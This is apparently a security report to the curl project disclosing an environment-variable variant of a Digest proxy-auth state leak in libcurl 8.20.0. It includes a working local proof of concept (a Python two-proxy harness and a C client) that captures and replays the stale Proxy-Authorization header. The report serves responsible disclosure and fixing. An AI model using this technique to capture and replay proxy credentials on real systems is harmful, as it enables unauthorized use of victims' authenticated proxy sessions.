curl · Report #3744543
CVE-2026-8927: env-set cross-proxy Digest auth state leak
How it was found
AI-assisted preparation note
I used AI assistance to help structure and format this report, but the technical findings, PoC, and verification results are based on local testing against curl/libcurl 8.20.0.
Summary
I found a possible incomplete-fix variant of CVE-2026-7168 in libcurl 8.20.0.
The original issue involved stale Digest proxy authentication state being sent from proxyA to proxyB when the same libcurl easy handle was reused after changing proxies. In curl 8.20.0, the explicit CURLOPT_PROXY path appears to be fixed: changing the proxy via CURLOPT_PROXY clears the old proxy Digest/auth state correctly.
However, I found that the same cleanup does not appear to happen when the effective proxy changes through environment variables such as http_proxy or ALL_PROXY.
As a result, when the same easy handle is reused:
- The first transfer uses
proxyAfromhttp_proxyand authenticates with HTTP Digest proxy authentication. - The environment variable is changed so the next transfer uses
proxyB. - The same easy handle performs the second transfer.
proxyBreceives aProxy-Authorization: Digestheader using stale Digest state fromproxyA.
This was reproduced against official curl/libcurl 8.20.0.
Affected version
Tested against official curl/libcurl 8.20.0.
The PoC confirms:
LIBCURL_RUNTIME=8.20.0
LIBCURL_HEADERS=8.20.0
Impact
A malicious second proxy can receive a Proxy-Authorization: Digest header generated from the previous proxy's Digest challenge state.
In my replay test, the header captured by proxyB was valid for proxyA and could be replayed successfully. This is the same security class as CVE-2026-7168: proxy authentication state intended for one proxy crosses a proxy boundary and is exposed to another proxy.
This can allow a malicious proxy to capture and replay Digest proxy authentication material intended for another proxy.
Technical details
The explicit proxy-change path appears to be fixed in 8.20.0.
When an application changes the proxy using CURLOPT_PROXY, the previous proxy Digest/auth state is cleared. My control test confirmed:
CURLOPT_PROXY proxyA -> CURLOPT_PROXY proxyB
Result: no stale Proxy-Authorization header sent to proxyB
The environment-derived proxy path behaves differently.
When the proxy is selected from http_proxy or ALL_PROXY, changing the environment variable from proxyA to proxyB causes the second transfer to use proxyB, but the previous Digest proxy-auth state remains associated with the reused easy handle.
Observed request received by proxyB:
GET http://example.test/protected HTTP/1.1
Host: example.test
Proxy-Authorization: Digest username="silly", realm="realmA", nonce="nonceA", uri="/protected", ...
realmA and nonceA were issued by proxyA, not proxyB.
Steps to reproduce
- Build curl/libcurl 8.20.0.
- Run the PoC below.
- The PoC starts two local HTTP proxy servers:
proxyAissues a Digest proxy-auth challenge.proxyBcaptures the first request it receives.
- The client uses one reused libcurl easy handle.
- First transfer:
http_proxy=http://silly:[email protected]:<proxyA>- libcurl authenticates to
proxyAusing Digest.
- Second transfer:
http_proxy=http://silly:[email protected]:<proxyB>- same easy handle reused.
proxyBreceives a staleProxy-Authorization: Digestheader usingproxyA's realm/nonce.
Expected result
When the effective proxy changes from proxyA to proxyB, libcurl should clear proxy Digest/auth state before the second transfer, regardless of whether the proxy was changed via CURLOPT_PROXY or selected from environment variables.
proxyB should not receive a Proxy-Authorization: Digest header based on proxyA's challenge.
Actual result
proxyB receives:
Proxy-Authorization: Digest username="silly", realm="realmA", nonce="nonceA", ...
The captured Digest response was replayed to proxyA in my full PoC and accepted.
PoC summary:
{
"runtime": "8.20.0",
"headers": "8.20.0",
"B_received_proxy_authorization": true,
"B_digest_valid_for_proxyA": true,
"replay_status": "HTTP/1.1 200 OK"
}
Minimal PoC
The following local-only PoC demonstrates the stale Proxy-Authorization: Digest header being sent to proxyB.
#!/usr/bin/env python3
import os
import re
import socketserver
import subprocess
import tempfile
import threading
from pathlib import Path
REALM = "realmA"
NONCE = "nonceA"
captured_by_b = {
"raw": "",
"proxy_authorization": ""
}
class ProxyA(socketserver.BaseRequestHandler):
def handle(self):
# First request: challenge with Digest proxy auth
self.request.recv(65535).decode("iso-8859-1", errors="replace")
resp407 = (
"HTTP/1.1 407 Proxy Authentication Required\r\n"
f'Proxy-Authenticate: Digest realm="{REALM}", nonce="{NONCE}", qop="auth", algorithm=MD5\r\n'
"Content-Length: 0\r\n"
"Connection: keep-alive\r\n"
"\r\n"
)
self.request.sendall(resp407.encode("ascii"))
# Second request: libcurl should authenticate to proxyA
self.request.recv(65535).decode("iso-8859-1", errors="replace")
resp200 = (
"HTTP/1.1 200 OK\r\n"
"Content-Length: 2\r\n"
"Connection: close\r\n"
"\r\n"
"OK"
)
self.request.sendall(resp200.encode("ascii"))
class ProxyB(socketserver.BaseRequestHandler):
def handle(self):
req = self.request.recv(65535).decode("iso-8859-1", errors="replace")
captured_by_b["raw"] = req
m = re.search(r"^Proxy-Authorization:\s*(.*)$", req, re.I | re.M)
if m:
captured_by_b["proxy_authorization"] = m.group(1).strip()
resp200 = (
"HTTP/1.1 200 OK\r\n"
"Content-Length: 2\r\n"
"Connection: close\r\n"
"\r\n"
"OK"
)
self.request.sendall(resp200.encode("ascii"))
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
allow_reuse_address = True
daemon_threads = True
def start_server(handler):
srv = ThreadedTCPServer(("127.0.0.1", 0), handler)
port = srv.server_address[1]
t = threading.Thread(target=srv.serve_forever, daemon=True)
t.start()
return srv, port
def build_client(tmpdir: Path):
c_code = r'''
#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
static size_t sink(char *ptr, size_t size, size_t nmemb, void *userdata) {
(void)ptr;
(void)userdata;
return size * nmemb;
}
int main(int argc, char **argv) {
if(argc != 3) {
fprintf(stderr, "usage: %s <proxyA_port> <proxyB_port>\n", argv[0]);
return 2;
}
const char *pa = argv[1];
const char *pb = argv[2];
curl_version_info_data *vi = curl_version_info(CURLVERSION_NOW);
printf("LIBCURL_RUNTIME=%s\n", vi->version);
printf("LIBCURL_HEADERS=%s\n", LIBCURL_VERSION);
curl_global_init(CURL_GLOBAL_DEFAULT);
CURL *h = curl_easy_init();
if(!h)
return 1;
curl_easy_setopt(h, CURLOPT_URL, "http://example.test/protected");
curl_easy_setopt(h, CURLOPT_WRITEFUNCTION, sink);
curl_easy_setopt(h, CURLOPT_PROXYAUTH, CURLAUTH_DIGEST);
curl_easy_setopt(h, CURLOPT_VERBOSE, 1L);
char envA[256];
char envB[256];
snprintf(envA, sizeof(envA), "http://silly:[email protected]:%s", pa);
snprintf(envB, sizeof(envB), "http://silly:[email protected]:%s", pb);
/*
* First request:
* No CURLOPT_PROXY is set. Proxy is selected from http_proxy.
*/
setenv("http_proxy", envA, 1);
CURLcode r1 = curl_easy_perform(h);
fprintf(stderr, "first perform: %d\n", (int)r1);
/*
* Second request:
* Same easy handle. Effective proxy changes through http_proxy.
*/
setenv("http_proxy", envB, 1);
CURLcode r2 = curl_easy_perform(h);
fprintf(stderr, "second perform: %d\n", (int)r2);
curl_easy_cleanup(h);
curl_global_cleanup();
return 0;
}
'''
src = tmpdir / "env_proxy_digest_poc.c"
exe = tmpdir / "env_proxy_digest_poc"
src.write_text(c_code)
subprocess.check_call([
"gcc",
str(src),
"-o",
str(exe),
"-lcurl"
])
return exe
def main():
proxy_a, port_a = start_server(ProxyA)
proxy_b, port_b = start_server(ProxyB)
with tempfile.TemporaryDirectory() as d:
tmpdir = Path(d)
exe = build_client(tmpdir)
env = os.environ.copy()
env.pop("http_proxy", None)
env.pop("HTTP_PROXY", None)
env.pop("all_proxy", None)
env.pop("ALL_PROXY", None)
env.pop("no_proxy", None)
env.pop("NO_PROXY", None)
p = subprocess.run(
[str(exe), str(port_a), str(port_b)],
env=env,
text=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=10
)
print("=== client stdout ===")
print(p.stdout)
print("=== client stderr ===")
print(p.stderr)
print("=== request captured by proxyB ===")
print(captured_by_b["raw"])
has_stale = (
"Proxy-Authorization: Digest" in captured_by_b["raw"]
and f'realm="{REALM}"' in captured_by_b["raw"]
and f'nonce="{NONCE}"' in captured_by_b["raw"]
)
print("B_RECEIVED_PROXY_AUTHORIZATION=", bool(captured_by_b["proxy_authorization"]))
print("STALE_DIGEST_FROM_PROXY_A_SENT_TO_PROXY_B=", has_stale)
proxy_a.shutdown()
proxy_b.shutdown()
if __name__ == "__main__":
main()
Example output on official curl/libcurl 8.20.0:
LIBCURL_RUNTIME=8.20.0
LIBCURL_HEADERS=8.20.0
B_RECEIVED_PROXY_AUTHORIZATION= True
STALE_DIGEST_FROM_PROXY_A_SENT_TO_PROXY_B= True
The request captured by proxyB contains:
Proxy-Authorization: Digest username="silly", realm="realmA", nonce="nonceA", ...
Controls tested
The following controls were tested to reduce false positives:
| Case | Result |
|---|---|
Same easy handle + env http_proxy proxyA -> proxyB | Vulnerable: stale Digest sent |
Same easy handle + env ALL_PROXY proxyA -> proxyB | Vulnerable: stale Digest sent |
Explicit CURLOPT_PROXY proxyA -> proxyB | Not vulnerable |
| New easy handle for second request | Not vulnerable |
curl_easy_reset() before second request | Not vulnerable |
CURLOPT_PROXY = NULL before second request | Not vulnerable |
| proxyB has no credentials | Not vulnerable in my test |
| proxyB has credentials/user-only credentials | Vulnerable: stale Digest state sent |
Suggested fix direction
Apply the same proxy-auth cleanup used for explicit CURLOPT_PROXY changes when the effective proxy changes due to environment variable resolution.
When the resolved proxy changes between transfers on a reused easy handle, libcurl should clear/reset the previous proxy-auth state before generating a new Proxy-Authorization header, including at least:
data->state.proxydigest
data->state.authproxy
or the equivalent proxy-auth state.
Note
This report is not claiming that the explicit CURLOPT_PROXY fix is missing. I verified that the explicit CURLOPT_PROXY path is fixed in 8.20.0.
The issue is that an equivalent proxy-boundary change through environment variables such as http_proxy or ALL_PROXY still appears to leave stale Digest proxy-auth state on the reused easy handle.
Impact
A malicious second proxy can receive a Proxy-Authorization: Digest header generated from a previous proxy’s Digest challenge state. In the PoC, this captured header was valid for the original proxy and could be replayed successfully, allowing authentication material intended for proxyA to cross the proxy boundary and be exposed to proxyB. This may allow capture/replay of proxy authentication and unauthorized use of the victim’s authenticated proxy session.